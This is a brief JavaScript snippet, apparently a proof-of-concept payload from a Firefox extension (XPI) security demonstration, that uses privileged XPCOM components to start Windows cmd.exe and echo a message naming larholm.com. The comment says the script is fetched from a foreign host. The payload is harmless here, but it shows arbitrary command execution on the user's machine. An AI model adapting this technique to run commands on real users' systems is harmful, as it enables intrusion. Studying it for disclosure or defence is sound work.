// This is retrieved from a foreign host, but could also be embedded in the XPI

var C = Components.classes, I = Components.interfaces;
var file = C['@mozilla.org/file/local;1'].createInstance(I.nsILocalFile);
file.initWithPath('C:\\windows\\system32\\cmd.exe');
var process = C['@mozilla.org/process/util;1'].createInstance(I.nsIProcess);
process.init(file);
process.run(true,['/k echo hello from larholm.com'],1);